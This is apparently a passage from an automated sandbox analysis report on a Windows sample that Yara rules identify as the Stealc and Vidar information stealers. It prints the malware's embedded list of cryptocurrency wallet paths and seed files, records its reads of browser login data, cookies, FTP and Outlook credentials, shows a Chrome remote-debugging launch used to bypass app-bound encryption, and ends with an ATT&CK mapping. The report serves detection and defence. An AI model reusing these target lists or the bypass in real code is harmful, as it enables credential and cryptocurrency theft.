Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1348648639.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804765583.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D060D60 sqlite3_bind_parameter_name,	0_2_6D060D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D060C40 sqlite3_bind_zeroblob,	0_2_6D060C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF88EA0 sqlite3_clear_bindings,	0_2_6CF88EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D060B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6D060B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF86410 bind,WSAGetLastError,	0_2_6CF86410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF860B0 listen,WSAGetLastError,	0_2_6CF860B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF86070 PR_Listen,	0_2_6CF86070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF8C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CF8C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF8C030 sqlite3_bind_parameter_count,	0_2_6CF8C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF122D0 sqlite3_bind_blob,	0_2_6CF122D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF863C0 PR_Bind,	0_2_6CF863C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
